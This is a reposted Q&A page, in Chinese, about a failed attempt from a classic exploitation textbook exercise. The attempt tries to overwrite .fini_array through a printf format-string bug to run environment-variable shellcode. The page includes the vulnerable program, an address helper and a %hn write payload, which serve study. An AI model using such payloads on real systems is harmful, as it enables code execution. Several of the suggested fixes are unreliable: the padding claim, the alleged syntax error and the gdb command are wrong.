You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何无法通过printf漏洞覆盖fini_array执行Shellcode?

格式化字符串漏洞覆盖fini_array执行Shellcode失败问题

问题描述

正在学习《Hacking: The art of Exploitation》,处理DTORS/CTORS章节内容时,发现新版GCC使用init_array/fini_array替代了传统DTORS数组。现有一个存在printf格式化漏洞的程序,尝试通过漏洞覆盖fini_array地址执行Shellcode,但操作后未获取到Shell,已关闭ASLR,寻求问题排查与解决方法。

漏洞程序(vuln.c)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char text[1024];
    static int test_val = -72;

    if (argc < 2)
    {
        printf("Usage: %s <text to print>\n", argv[0]);
        exit(0);
    }

    strcpy(text, argv[1]);

    printf("The right way to print: \n");
    printf("%s\n", text);

    printf("The wrong way to print: \n");
    printf(text);

    printf("[DEBUG] test_val @ %p = %d %08x\n", &test_val, test_val, test_val);

    return 0;
}

编译命令:

gcc -m32 -fno-stack-protector vuln.c -o vuln

Shellcode地址获取(getaddr.c)

将Shellcode设置为环境变量后,使用以下程序获取其地址:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char *ptr;
    if (argc < 3)
    {
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(1);
    }
   
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; // 修正原代码的括号语法错误

    printf("%s is at %p\n", argv[1], ptr);

   return 0;
}

编译命令:

gcc -m32 getadrr.c -o getadrr

执行后得到Shellcode地址为0xffffdfa1。

尝试的操作步骤

  1. 获取fini_array地址:通过objdump -s -j .fini_array ./vuln得到地址为0x00003eec,目标是覆盖该地址及后续0x3eee为Shellcode的低16位和高16位。
  2. 计算填充字节数:在gdb中计算:
    (gdb) print 0xdfa1 - 8
    $1 = 57241
    (gdb) print 0xffff - 0xdfa1
    $2 = 8286
    
  3. 执行漏洞利用命令:
    ./vuln "$(printf '\xec\x3e\x00\x00\xee\x3e\x00\x00')%57241x%4\$hn%8286x%5\$hn"
    

问题排查与修正建议

1. 格式化字符串中的填充方式错误

使用%57241x会导致printf从栈上读取未定义参数并以十六进制打印,输出字节数无法准确控制。应替换为%57241c输出固定数量的字符,确保%hn统计的输出字节数符合预期:

./vuln "$(printf '\xec\x3e\x00\x00\xee\x3e\x00\x00')%57241c%4\$hn%8286c%5\$hn"

2. Shellcode地址计算错误

原getaddr.c代码存在语法错误(括号未闭合),导致计算出的Shellcode地址不准确。需使用修正后的代码重新编译,获取正确的Shellcode地址。

3. 格式化参数位置验证

需确认%4$hn和%5$hn对应的栈位置是否正确指向写入的两个地址。可通过gdb调试:

  • 在printf(text)处下断点:b main:printf(text)
  • 运行程序并传入测试格式化字符串,查看栈上布局,确认写入的地址位于第4和第5个可变参数位置。若位置不符,需调整%n的参数序号。

4. fini_array覆盖目标验证

使用objdump -s -j .fini_array ./vuln确认fini_array的初始值,确保覆盖的是有效的函数指针位置。部分版本GCC中,fini_array可能包含多个条目,需确认覆盖的是第一个条目(程序退出时会依次执行数组中的函数)。

内容的提问来源于stack exchange,提问作者Anas Hadri

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.23 00:14:54